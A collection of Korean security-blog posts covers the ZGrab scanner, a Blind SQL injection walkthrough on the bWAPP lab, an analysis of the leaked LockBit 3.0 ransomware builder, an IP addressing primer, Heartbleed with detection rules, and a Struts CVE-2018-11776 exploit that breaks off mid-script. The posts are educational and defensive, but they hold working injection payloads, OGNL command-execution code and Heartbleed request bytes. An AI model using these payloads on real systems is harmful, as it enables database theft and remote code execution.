1. ZGrab

- ZMap 프로젝트의 일부

- ZMap과 연동하여 스캔을 수행하는 애플리케이션 계층의 오픈소스 도구

- HTTP, HTTPS, SSH, 텔넷, FTP, SMTP, POP3, IMAP, Modbus, BACNET, SiemensS7 및 TridiumFox를 지원

- TLS 연결을 수행하고 TCP/IP 4443에서 ZMap이 찾는 모든 호스트의 루트 HTTP 페이지를 수집 가능

ZMap
- 인터넷 전체 네트워크 조사를 위해 설계된 고속 단일 패킷 네트워크 스캐너
- 기가 비트로 연결된 컴퓨터에서 Zmap은 전체 공용 IPv4 주소 공간을 45분 이내에 검색할 수 있음
- 10gigE 연결 및 PF_RING으로 ZMap은 5분 만에 IPv4 주소 공간을 스캔할 수
 

The ZMap Project

ZMap is a fast single-packet network scanner optimized for Internet-wide network surveys. On a computer with a gigabit connection, ZMap can scan the entire public IPv4 address space on a single port in under 45 minutes. With a 10gigE connection and PF_RING

zmap.io

2. 설치

- 다음 명령을 이용해 zgrab2를 설치

$ git clone https://github.com/zmap/zgrab2.git
$ cd zgrab2
$ make

- 설치 후 ./zgrab2 --help 명령을 통해 사용법을 알 수 있음

 

[캡쳐 1] zgrab2 사용법

- zgrab 스캐너를 사용하면 User-Agent 헤더에 zgrab이 명시

[캡쳐 2] https://peemangit.tistory.com/243

3. 대응

- robots.txt 파일에 zgrab에 대한 접근을 차단

[캡쳐 3] robots.txt

- User-Agent 헤더에 zgrab으로 명시되기 때문에 해당 문자열을 탐지 가능한 패턴 적용 및 IP 차단

- 짧은 시간에 한 IP에서 포트정보만 변경하여 다수의 요청이 발생할 경우 포트스캔을 의심할 수 있음

'취약점 > Scanner' 카테고리의 다른 글

고 언어 기반 스캐너 GoBruteforcer  (2) 2023.03.25
SIPVicious scanner  (0) 2022.12.09
Masscan Scanner  (0) 2022.10.06

1. Blind SQL Injection

- 웹 서버의 보안 설정을 통해 기존 SQL Injection에 대한 대응이 되어있는 경우 수행

- SQL 쿼리 수행 결과인 참/거짓을 기반으로 데이터를 알아내는 기법

- 참/거짓으로 결과를 반환하므로 노가다성 작업이 필요

- Boolean-Based 기법과 Time-Based 기법이 있음

[캡쳐 1] Blind SQL Injection 수행 과정

- Blind SQL Injection에서는 다음 함수들이 자주 사용됨

함수 설명
length("문자열") - 문자열의 길이를 반환하는 함수
substring(대상 문자열, 시작 위치, 길이) - 문자열에서 지정한 시작위치부터 길이만큼 출력하는 함수
- 시작 위치는 1부터 시작
* MySQL : substring() / Oracle : substr() / 사용법은 동일
limit 시작 위치, 갯수 - 지정한 시작위치부터 갯수만큼 결과를 반환하는 함수
- 시작 위치는 0부터 시작
ascii - 문자를 아스키코드로 변환하는데 사용하는 함수
- 10진수 48 ~ 57 = 정수 1 ~ 10
- 10진수 65 ~ 90 = 문자 A ~ Z
- 10진수 97 ~ 122 = 문자 a ~ z

2. 실습

- movie 검색란에 SQL Injection 취약점 유무를 확인하기 위해 '를 입력

- 출력되는 에러를 통해 SQL Injection 취약점이 존재하는 것을 알 수 있음

- 쿼리 수행 결과가 참일 경우와 거짓일 경우 출력되는 결과 값이 다른 것을 알 수 있음

- 해당 결과를 통해 Blind SQL 중 Boolean-Based 기법을 수행해야 한다는것을 유추 가능함

 

2.1 데이터베이스 이름의 문자열 갯수 확인

- length()를 이용해 데이터베이스 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length(database())=1 #

- 질의문 해석 : 데이터베이스 이름의 길이가 1인지 

* database() : 서버의 데이터베이스 명을 반환하는 시스템 함수

- 숫자를 계속해서 증가 시켜 질의를 수행한 결과, 데이터베이스 명은 5글자인 것을 알 수 있음

- 수행 질의문 : ' or 1=1 and length(database())=5 #

- 질의문 해석 : 데이터베이스 이름의 길이가 5인지

2.2 데이터베이스 이름 확인

- substring()를 이용해 데이터베이스의 명을 확인할 수 있음

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='a' #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'a'인지

- 문자를 변경하면서 질의문을 수행하면, 데이터베이스가 'b'로 시작하는 5글자임을 알 수 있음

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='b' #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'b'인지

- 데이터베이스 이름의 두번째 글자 확인을 원할 경우 substring()의 시작위치를 2로 변경하여 질의를 수행하면 됨.

- 수행 질의문 : ' or 1=1 and substring(database(),2,1)='a' #

- 질의문 해석 : 데이터베이스 이름의 두번째 글자가 'a'인지

 

- ASCII 값과 부등호를 이용해 해당 아스키 값이 입력한 아스키 값보다 큰지 작은지 확인할 수 있음

- substring()으로 하나씩 글자를 확인하는 것보다 ASCII 값으로 범위를 한정하여 검색하는 것이 수월

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)<=97 #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 97(문자 a) 보다 작거나 같은 값인지

- 각 과정을 반복하면 데이터베이스의 이름이 'bWAPP'인 것을 알 수 있음

2.3 테이블 이름의 문자열 갯수 확인

- length()와 limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 1#

* table_type = 'base table'란 information_schema에서 메타 데이터 테이블을 제외한 테이블을 의미

- 질의문 해석 :

information_schema 데이터베이스의 tables 테이블에서
table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의
table_name의
첫번째 테이블 이름의

길이가 1인지

- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블 이름의 길이가 4인것을 알 수 있음

- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 4#

- 두번째 테이블 이름의 길이를 알고싶을 경우 위 수행 질의문 중 limit 0,2 로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

2.4 테이블 이름 확인

- ascii, substring(), limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#

- 질의문 해석 :

information_schema 데이터베이스의 tables 테이블에서

table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의

table_name의

첫번째 테이블 이름의

쳣번째 글자가

ascii 값으로 97(문자 a)보다 크거나 같은지

- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블이 b로 시작하는 4글자임을 확인할 수 있음

- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#

- 문자를 변경하면서 질의를 수행한 결과, 데이터베이스의 첫 글자는 'b'인 것을 알 수 있으며, 결과 값은 blog임

- 두번째 테이블의 이름을 알고싶은 경우 수행 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

- 해당 과정을 반복하면 4번째 테이블 명이 users라는 것을 알 수 있음

2.5 users 테이블의 정보 확인

- 다음 질의를 통해 users 테이블의 첫번째 칼럼의 글자수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1#

- 질의문 해석 :

information_schema 데이터베이스의 columns 테이블에서

table_name이 users인 테이블의

column_name의

첫번째 컬럼의

길이가 1인지

- 2를 대입하여 질의를 수행하면 결과로 참을 반환하며, id임을 추측해 볼 수 있으며 질의를 통해 확인 가능

- 수행 질의문 :  ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,2)= 'id'#

- 두번째 컬럼을 알고싶은 경우 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

- 해당 과정을 반복하면 users 테이블의 컬럼은 id, login, password 등으로 구성되어 있는것을 알 수 있음

2.6 users 테이블의 login 컬럼 정보 확인

- 다음 질의문을 통해 login 컬럼에 저장된 정보의 길이 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select login from users limit 0,1))=1#

- 질의문 해석 : users 테이블의 login 컬럼의 첫번째 컬럼의 길이가 1인지

- 질의문을 변경하면서 질의를 수행하면 2번째 컬럼의 길이가 3인것을 확인할 수 있음

- 다음 질의문을 통해 users 테이블의 login 컬럼의 두번째 컬럼이 3글자이며, bee임을 추측해 볼 수 있으며 질의를 통해 확인 가능

- 수행 질의문 : ' or 1=1 and substring((select login from users limit 1,1),1,3)='bee'#

- 질의문 해석 : users 테이블의 login 컬럼의 두번째 컬럼이 'bee'인지

 

- 또한, 각 과정을 반복하면 users 테이블의 password 컬럼 길이가 40임을 알 수 있고, 해시된 값임을 추측해 볼 수 있음

- 수행 질의문 : ' or 1=1 and length((select password from users where login='bee'))=40#

- 질의문 해석 : users 테이블에서 login 컬럼 값이 'bee'인 password 컬럼의 길이가 40인지

- 해시 여부를 확인하면(수행 질의문에서 md5()를 sha1 등으로 바꿔서 확인 가능) sha1을 사용해 비밀번호를 해시하여 저장하는 것을 알 수 있음

- 수행 질의문 : ' or 1=1 and md5("bug") = (select password from users where login='bee')#

 

3. 비박스 소스 확인

- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음

① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음

② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증

③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증

- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증

① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환

② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프

1. 개요

- 록빗(LockBit) 내 개발자로 보이는 인물이 파일을 암호화 하는 인크립터의 코드 공개

- LockBit 3.0 랜섬웨어 빌더는 깃헙에서 다운로드가 가능함

 

랜섬웨어 그룹도 내부자 위협을 겪는다? 록빗 3.0 빌더 공개돼

랜섬웨어 조직들이 기업화 됨에 따라 보다 강력해지고 있기도 하지만 일반 기업들이 겪는 어려움을 똑같이 겪고 있기도 하다. 바로 불만을 품은 직원들이 일탈 행위를 하는 것이다. 우리는 그것

www.boannews.com

2. 분석

- LockBit 3.0 랜섬웨어 빌더는 총 5개의 파일로 구성되어 있음

[캡쳐 1] Lockbit 3.0

- 빌더 순서도는 다음과 같음

[캡쳐 2] 빌더 순서도

2.1 Build.bat

- keygen.exe를 실행하여 공개키/비밀키 쌍을 생성

- 생성된 키쌍을 사용해 Lockbit 3.0 랜섬웨어를 생성하는 builder.exe를 실행 

명령줄 설명
ERASE /F /Q %cd%\Build\*.* Build 폴더의 모든 파일 삭제
keygen -path %cd%\Build -pubkey pub.key -privkey priv.key keygen.exe를 실행해 pub.key(공개키_암호화 시 사용)/priv.key(개인키_복호화 시 사용) 쌍 생성
builder -type dec -privkey %cd%\Build\priv.key -config config.json -offile %cd%\Build\LB3Decryptor.exe priv.key와 config.json을 사용해 복호기(LB3Decryptor.exe) 생성
builder -type enc -exe -pubkey %cd%\Build\pub.key -config config.json -offile %cd%\Build\LB3.exe pub.key와 config.json을 사용해 exe 파일 형식의 암호기(LB3.exe) 생성
builder -type enc -exe -pass -pubkey %cd%\Build\pub.key -config config.json -offile %cd%\Build\LB3_pass.exe pub.key와 config.json을 사용해 exe 파일 형식의 암호가 지정된 암호기(LB3_pass.exe) 생성
builder -type enc -dll -pubkey %cd%\Build\pub.key -config config.json -offile %cd%\Build\LB3_Rundll32.dll pub.key와 config.json을 사용해 dll 파일 형식의 암호기(LB3_Rundll32.dll) 생성
builder -type enc -dll -pass -pubkey %cd%\Build\pub.key -config config.json -offile %cd%\Build\LB3_Rundll32_pass.dll pub.key와 config.json을 사용해 dll 파일 형식의 암호가 지정된 암호기(LB3_Rundll32_pass.dll) 생성
builder -type enc -ref -pubkey %cd%\Build\pub.key -config config.json -offile %cd%\Build\LB3_ReflctiveDll_DllMain.dll pub.key와 config.json을 사용해 Reflctive-DLL 파일 형식의 암호가 지정된 암호기(LB3_ReflctiveDll_DllMain.dll) 생성
exit 종료

- 해당 파일을 실행하면 다음과 같은 파일이 생성됨

[캡쳐 3] Builder.exe 생성 파일

 

2.2 config.json

- 암호화기와 복호화기를 생성하기 위한 설정 값이 저장되어 있으며, 랜섬노트 내용을 커스터마이징 할 수 있음

- bot: 감염된 기기에서 정보를 훔치는 봇 기능에 대한 설정
- config: 설정 값 - 아래 표 참고

변수 설명
encrypt_mode 암호화 모드 지정
encrypt_filename 파일 암호화 여부
impersonation 저장된 자격 증명을 통한 로그인 수행 여부
skip_hidden_folders 암호화 대상에서 숨김폴더 제외 여부
language_check CIS 국가(독립국가연합) 체크 여부
local_disks 마운트 후 로컬 디스크 암호화 여부
network_shares 네트워크 공유 폴더 암호화 여부
kill_processes 특정 프로세스 종료 여부
kill_services 특정 서비스 종료 여부
running_one 뮤텍스 생성 여부
*뮤텍스 - 랜섬웨어에서 중복 암호화 방지 목적의 랜덤한 값
print_note 랜섬노트 생성 여부
* 랜섬노트를 통해 복구 비용 지불을 위한 정보를 알려줌
set_wallpaper 바탕화면 변경 여부
* 랜섬웨어 감염 여부를 알리기 위함
set_icons 암호화된 파일 아이콘 변경 여부
send_report 감염된 시스템에서 탈취한 정보와 관련된 보고서 전송 여부
self_destruct 자체 삭제 기능 수행 여부
kill_defender 특정 AV 소프트웨어  종료 여부
wipe_freespace 자체 삭제를 수행할 때 추가적인 기능 여부
psexec_netspread psexec를 사용한 네트워크 전파 여부
* Pxexec 는 cmd 로 원격제어를 할 수 있는 경량 원격 제어 프로그램
gpo_netspread GPO를 사용한 네트워크 전파 여부
* GPO(Group Policy Object) : 관리자들이 컴퓨터 및 사용자 사용 권한을 중앙에서 한번에 제어할 수 있도록 관리작업을 단순화 하는 규칙의 집합
gpo_ps_update powershell 명령을 사용하여 모든 도메인에서 시스템 그룹 정책을 업데이트할지 여부
shutdown_system 시스템 재부팅 여부
delete_eventlogs event log 삭제 여부
* 복구를 어렵게(혹은 불가능)하게 하기위해 event log 등 일부 log를 삭제함
delete_gpo_delay 실행 후 gpo 삭제 여부

- 또한, 암호화에서 제외할 목록 및 암호화 전 종료할 프로세스와 서비스, C2 서버 등을 지정할 수 있음

변수 설명
white_folders - 암호화에서 제외할 폴더 목록
white_files - 암호화에서 제외할 파일 목록
white_extens - 암호화에서 제외할 확장 목록
white_hosts - 암호화에서 제외할 호스트 이름 목록
kill_processes - 암호화 전에 종료할 프로세스 목록
* 원활한 감염을 위함
kill_services - 암호화 전 종료될 서비스 목록
* 원활한 감염을 위함
gate_urls - C2 서버로 사용할 URL 목록
impers_accounts - 로그온에 사용할 자격 증명 목록
* ID:PW 구조
note - 랜섬노트 출력 내용

[캡쳐 4] config.json 설정 목록

 

2.3 Builder.exe

- LockBit 3.0 암호화기 및 복호화기를 생성하는 도구

- 실행 시 사용되는 파라미터 정보

파라미터 설명
-type - enc: 암호화기 생성
- dec: 복호화기 생성
-config - 설정 파일 경로
-exe, -dll, -ref(reflectiveDLL) - 생성할 파일 형식
-pass - 암호화기 생성 시 암호화기 실행에 필요한 비밀번호
- 암호화기 실행에 필요한 암호는 Password_exe.txt와 Password_dll.txt에 각각 저장
-pubkey, -privkey - 암복호화기 생성 시 사용할 키 파일의 경로
-ofile - 저장할 파일 경로

 

2.4 Keygen.exe

- 암복호화를 위한 공개키/개인키 키쌍 생성

- MIRACL 기반으로 작성

파라미터 설명
-path - 생성된 키 쌍 파일을 저장할 폴더 경로
-pubkey, -privkey  - 암호화기가 공개키/개인키로 사용할 파일명(256바이트)

3. IOC 정보

- IOC에서 확인되는 정보를 엔드단 보안장비(EDR, AV 등)에 적용해 탐지 및 차단 필요(지속 모니터링을 통한 최신화 필요)

파일명 유형 지표
Buid.bat SHA256 8e83a1727696ced618289f79674b97305d88beeeabf46bd25fc77ac53c1ae339
SHA1 804a1d0c4a280b18e778e4b97f85562fa6d5a4e6
MD5 4e46e28b2e61643f6af70a8b19e5cb1f
Config.json SHA256 3f7518d88aefd4b1e0a1d6f9748f9a9960c1271d679600e34f5065d8df8c9dc8
SHA1 f3ed67bdaef070cd5a213b89d53c5b8022d6f266
MD5 a6ba7b662de10b45ebe5b6b7edaa62a9
Buid.exe SHA256 a736269f5f3a9f2e11dd776e352e1801bc28bb699e47876784b8ef761e0062db
SHA1 6ae7dc2462c8c35c4a074b0a62f07cfef873c77
MD5 c2bc344f6dde0573ea9acdfb6698bf4c
Keygen.exe SHA256 ea6d4dedd8c85e4a6bb60408a0dc1d56def1f4ad4f069c730dc5431b1c23da37
SHA1 bf8ecb6519f16a4838ceb0a49097bcc3ef30f3c4
MD5 71c3b2f765b04d0b7ea0328f6ce0c4e2

4. 참조

https://rhisac.org/threat-intelligence/lockbit-3-0-builder-code-leak-technical-analysis/

https://isarc.tachyonlab.com/2811

https://blog.alyac.co.kr/4923

 

'랜섬웨어 > 분석' 카테고리의 다른 글

LockBit 랜섬웨어 동향  (0) 2023.06.16
다크파워 (Dark Power) 랜섬웨어  (1) 2023.03.28
ESXiArgs Ransomware  (0) 2023.02.15
Masscan 랜섬웨어  (0) 2022.10.12

1. IP(Internet Protocol)

- 네트워크에서 어떤 정보를 수신하고 송신하는 통신에 대한 규약

2. IP 주소(Internet Protocol Address)

- 네트워크에서 장치들이 서로를 인식하고 통신을 하기 위해서 사용하는 번호, 즉 컴퓨터를 식별할 수 있는 고유한 번호

- 네트워크 계층의 주소체계

- 네트워크 부분호스트 부분으로 나뉘어짐

- 윈도우의 경우 ipconfig 명령, 리눅스의 경우 ifconfig 명령으로 확인 가능함.

 

2.1. IPv4

- 32bit 주소길이를 가진 논리적 주소체계이며, 8bit 씩 4부분으로 .로 구분

- 효율적인 IP 사용을 위해 A, B, C, D, E Class로 구분

* Class 별 호스트의 주소를 계산할 때 네트워크 자체 주소와 브로드캐스트 주소를 제외해 주어야함

- 약 43억개의 서로다른 주소를 부여할 수 있으나, 인터넷 사용자 급증으로 고갈될 문제에 처해 IPv6가 등장

[캡쳐 1] Class별 네트워크 부분 및 호스트 부분

- 사설 IP/공인 IP, 고정 IP/유동 IP로 나눌 수 있음

구분 명칭 설명
IP 공개 여부에 따른 구분 공인 IP - ISP에 의해 할당되며, 개인 또는 회사의 서버에 할당
- 내/외부 모두 접근 가능하며, 인터넷 상에서 유일한 주소
사설 IP - 라우터(공유기)에 의해 할당되며, 개인 또는 회사 내 호스트에 할당
- 외부에서 접근은 불가하며, 하나의 네트워크 내에서 유일한 주소
- Class A 사설 IP : 10.0.0.0 ~ 10.255.255.255
- Class B 사설 IP : 172.16.0.0 ~ 172.31.255.255
- Class C 사설 IP : 192.168.0.0 ~ 192.168.255.255
IP 고정 여부에 따른 구분 고정 IP - 고정적으로 부여된 IP
- 한번 부여되면 IP를 반납하기 전까지는 다른 장비에 부여할 수 없는 주소
유동 IP - 고정적으로 IP를 부여하지 않고 남아 있는 IP 중에서 돌아가면서 부여하는 IP
- ex) DHCP
* DHCP 서버에서 IP 169.254.X.X를 받아올 경우 DHCP 서버와 통신할 수 없다는 의미

- 특수한 목적을 위해 예약된 IP는 다음과 같음

[캡쳐 2] 예약된 IP (https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=p_rain&logNo=220878796660)

2.2 IPv6

- IPv4 주소체계의 IP 고갈에 대비하기 위해 등장

특징 설명
확장된 주소 공간 - 128비트 주소체계를 사용 (IPv4의 주소부족 문제를 해결)
- IP주소를 절약하기 위해 사용되는 NAT(Network Address Translation)와 같은 주소변환 기술도 불필요
새로운 헤더 포맷 - 고정 길이 헤더
- 패킷 단편화(fragmentation) 관련 필드, 체크섬 (checksum) 필드 삭제
향상된 서비스의 지원 - 트래픽을 효과적으로 분류할 수 있는 기능을 제공
- 이를 위해 IPv6 헤더 내에 플로우 레이블(Flow Label) 필드를 이용
보안 기능 - IPv6에서는 프로토콜 내에 보안관련 기능을 탑재할 수 있도록 설계
- 확장헤더를 통하여 네트워크 계층에서의 종단간 암호화를 제공
* IPv4에서의 IPSec이라는 보안 관련 프로토콜을 별도 설치 필요
주소 자동설정 - 로컬 IPv6주소를 LAN상의 MAC주소와 라우터가 제공하는 네트워크 프리픽스(prefix)에 결합하여 IP주소를 자동 생성
- 이동형 컴퓨터의 경우 어느 곳에서든 네트워크와 연결을 설정하면 자동으로 포워딩 주소를 설정할 수 있게 함

 

2.3 비교

구분 IPv4 IPv6
주소길이 32bit 128bit
표기방법 8bit 씩 4부분으로 .로 구분
ex) 192.168.1.2
16bit 씩 8부분으로 :로 구분
ex) 2002:0221:ABCD:DCBA:0000:0000:FFFF:4002
주소개수 약 43억개 약 2^128개 (43억 X 43억 X 43억 X 43억)
* IPv4의 IP 고갈로 등장
주소할당 방식 클래스 단위 비순차 할당 네트워크 규모, 단말기 수에 따라 순차할당
주소 유형 유니캐스트, 멀티캐스트, 브로드캐스트 유니캐스트, 멀티캐스트, 애니캐스트
헤더크기 가변 고정
QoS 제공 미흡 제공
보안 IPSec 프로토콜 별도 설치 IPSec 프로토콜 자체 제공
서비스 품질 제한적 품질 보장 확장된 품질 보장
Plug & Play 불가 가능

 

3. MAC (Media Access Control Address)

- 48bit로 이루어져 있는 물리적 주소체계이며, 앞 24bit는 제조사번호, 뒤 24bit는 시리얼번호를 의미

- 네트워크 인터페이스 카드(NIC)에 할당된 고유 식별자

- 데이터링크 계층의 주소체계

 

4. 참조

https://steady-coding.tistory.com/521

https://blog.naver.com/hai0416/221564816863

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=hai0416&logNo=221566797342 

'기타 > 네트워크' 카테고리의 다른 글

OSI 7 Layer와 TCP/IP 4 Layer  (0) 2022.08.10

1. OpenSSL

- 네트워크를 통한 데이터 통신에 쓰이는 프로토콜인 TLS와 SSL의 오픈 소스 암호화 라이브러리
- C 언어로 작성되어 있는 중심 라이브러리 안에는, 기본적인 암호화 기능 및 여러 유틸리티 함수들이 구현되어 있음

2. HeartBleed

- 클라이언트와 서버는 계속 신호를 주고 받으며 연결상태를 확인하는데 이를 "하트비트(Heartbeat)"라 함

하트비트(Heartbeat)란?
1. 일종의 Echo Request/Echo Reply처럼 서버의 기동 여부를 진단하기 위한 프로토콜
2. 특정 Echo Request를 보내고, 반환 받을 크기를 지정하면 해당 크기만큼 Echo Reply 응답

- '하트비트' 과정 중, 서버가 클라이언트의 요청에 응답할 때 정상적인 응답내용 외 추가정보(중요정보)를 포함한 응답이 전송되어 정보가 노출될 수 있어 HeartBleed로 불림
- 서버가 클라이언트로부터 전달받은 정보의 내용과 그 정보의 길이의 일치 여부를 검증하지 않은 채 응답하여 발생

HeartBleed란?
1. 반환 받을 크기 지정 시 보낸 메세지보다 훨씬 크게 지정(최대 64KB)하여 보낼 수 있는 취약점이 존재
2. 1KB를 보내면서 64KB를 요청 할 경우 나머지 63KB는 메모리에 있는 임의 데이터가 보내짐
3. 위와 같은 동작을 반복하면 메모리상에 흐르는 임의 데이터를 지속적으로 탈취할 수 있음

- 당시 발표에 따르면, 인증 기관에서 인증받은 안전한 웹 서버의 약 17%(약 50만대)가 영향을 받을 수 있었음

3. CVE-2014-0160

[캡쳐 1] https://nvd.nist.gov/vuln/detail/cve-2014-0160

- 취약한 버전의 OpenSSL은 공격자의 조작된 요청에 의해 메모리에서 중요한 정보를 얻을 수 있음.

취약한 버전 : OpenSSL 1.0.1 ~ 1.0.1f
원인 : Heartbeat Extension 패킷을 제대로 처리하지 못하여 원격 공격자가 버퍼 오버 읽기를 유발
영향 : 조작된 패킷을 통해 프로세스 메모리에서 중요한 정보를 얻을 수 있음
[캡쳐 2] 공격원리 (https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=20884)

- [캡쳐 2] 과정을 다음에 비유할 수 있음

1. 엘리스(클라이언트)는 밥(서버)에게 봉투에 100원을 넣고, 1000원이 들었다는 정보와 함께 전송
2. 밥(서버)은 100원을 확인하고, 나머지 900원을 합하여 엘리스(클라이언트)에 응답
3. 엘리스(클라이언트)에게 900원에 해당하는 정보가 유출 됨

4. 실습

4.1) PoC 분석

- PoC는 먼저 서버와 TLS를 이용한 보안 연결을 맺는 것부터 시작하며, 보안 연결이 설정된 이후 s.send(hb) 함수를 통해 Heartbeet 요청을 전송

[캡쳐 3] Heartbeat 요청 메세지
// 첫 필드는 TLS 레코드가 하트비트임을 명시하고 TLS버전을 알림
18 : TLS record is a heartbeat
03 02 : TLS version 1.1

// 다음으로 하트비트 메시지의 길이와 이 메시지가 하트비트 요청임을 명시
00 03 : Length
01 : Heartbeat request

// 공격의 핵심
// payload길이를 16,384바이트로 표시하고 있지만 그 만큼의 길이에 해당하는 메시지를 보내지 않음
// 16진수로 4000은 16384
40 00 : Payload length(16384bytes)

4.2) 취약점 코드

- 취약한 소스코드를 확인해 보면 사용자 요청 메시지에 대한 길이를 검사하지 않는 것을 확인할 수 있음

[캡쳐 4] 취약한 소스 코드

4.3) 취약점 실습

- 비박스에서 Heartbleed 취약점을 실습해 볼 수 있으며, HTTPS와 8443포트로 접속해야 함

[캡쳐 5] 비박스 Heartbleed

- 로그인 후 공격 스크립트를 실행시키면 Heartbeat 응답 메세지를 확인할 수 있음.

* 스크립트를 실행하면 결과가 길어 확인이 불편하므로, more 명령으로 내용 확인

[캡쳐 6] Heartbeat 응답

- Heartbeet 응답값을 확인하면 로그인정보와 쿠키값이 노출된 것을 볼 수 있으며, 이외에도 추가 정보 유출이 가능함

* 추가정보 : SSL 서버 비밀키, 세션키 등 / 노출되는 정보는 서비스 환경마다 다름

[캡쳐 7] 로그인 정보 유출

- 해당 패킷을 와이어샤크로 확인하면 [캡쳐 6]과 같음

[캡쳐 8] 와이어샤크

5. 대응방안

1. 시스템 측면 방안
- 최신 업데이트를 적용
- 사용자 요청 메시지에 대한 길이를 검사하도록 코드 추가

[캡쳐 9] 패치 코드

- 업데이트 적용이 어려울 경우 버전 확인 및 Heartbeat 프로토콜 비활성화

1. Open SSL 버전 확인 명령
openssl version -a
2. Open SSL Heartbeat 활성화 여부 확인 명령
// Heartbeat 기능이 활성화되어 있는 경우 heartbeat 문자열이 검색됨
openssl s_client -connect domain.com:443 -tlsextdebug -debug -state | grep -i heartbeat

2. 네트워크 측면 방안
- SSL 서비스 포트에 대해 공격 요청 시 전송되는 |18 03 ??| 탐지 패턴 적용

alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 00|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "SSLv3 Malicious Heartbleed Request V2”; sid: 1;)
alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 01|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "TLSv1 Malicious Heartbleed Request V2"; sid: 2;)
alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 02|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "TLSv1.1 Malicious Heartbleed Request V2"; sid: 3;)

03 00은 SSLv3.0 / 03 01은 TLSv1.0 / 03 02는 TLSv1.1

3. 서비스 관리 측 방안
- 서버 측 SSL 비밀키(Secret Key)가 유출되었을 가능성을 배제할 수 없기 때문에 인증서 재발급 검토
- 취약점에 대한 조치가 완료된 후 사용자들의 비밀번호 재설정을 유도하여 탈취된 계정을 악용한 추가 피해를 방지하는 방안 고려

6. 참조

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=20884
https://heartbleed.com/
https://jmoon.co.kr/164

'취약점 > 기타' 카테고리의 다른 글

Deface Attack_중국 샤오치잉 해킹 그룹  (0) 2023.04.10
IFS(Internal Field Separator) String  (0) 2023.02.01
DNS Zone Transfer  (0) 2022.12.07
Brute Force Attack  (0) 2022.11.16
robots.txt  (0) 2022.08.30

1. Apache Struts

-  Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크

2. CVE-2018-11776

[캡쳐 1] https://nvd.nist.gov/vuln/detail/CVE-2018-11776

- 공격자는 취약한 버전의 Apache Struts에 조작된 요청을 전송함으로써 원격 코드를 실행할 수 있음.

- 해당 취약점은 사용자 입력값에 대한 검증이 충분하지 않아 발생하는 취약점.

취약한 버전 : Apache Struts 버전 2.3 ~ 2.3.34 및 2.5 ~ 2.5.16
조건
1. Struts 구성에서 alwaysSelectFullNamespace 플래그가 “true”로 설정됨 (참고: 널리 사용되는 Struts Convention 플러그인을 사용하는 경우 “true”가 기본값으로 설정)
2. Struts 애플리케이션이 특정 namespace를 지정하지 않고 구성되거나 와일드카드 namespace를 이용하는 <action ...> 태그가 포함되어 있음.
결과
웹 응용 프로그램에서 namespace 를 지정하지 않거나 /* 와 같은 와일드카드 namespace 를 사용하는 경우 주어진 작업에 대한 namespace 를 찾을 수 없다면 공격자가 지정한 namespace 를 취하여 OGNL 표현식으로 평가하여 웹 어플리케이션에 원격코드실행을 악용할 수 있음.
OGNL(Object-Graph Navigation Language) : Apache Struts의 동작을 사용자 정의하는 데 사용되는 강력한 도메인별 언어

 

2.1) PoC 분석

#!/usr/bin/python
# -*- coding: utf-8 -*-

# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter

import sys
import urllib
import urllib2
import httplib


def exploit(host,cmd):
    print "[Execute]: {}".format(cmd)

    ognl_payload = "${"
    ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
    ognl_payload += "(#cmd='{}').".format(cmd)
    ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
    ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
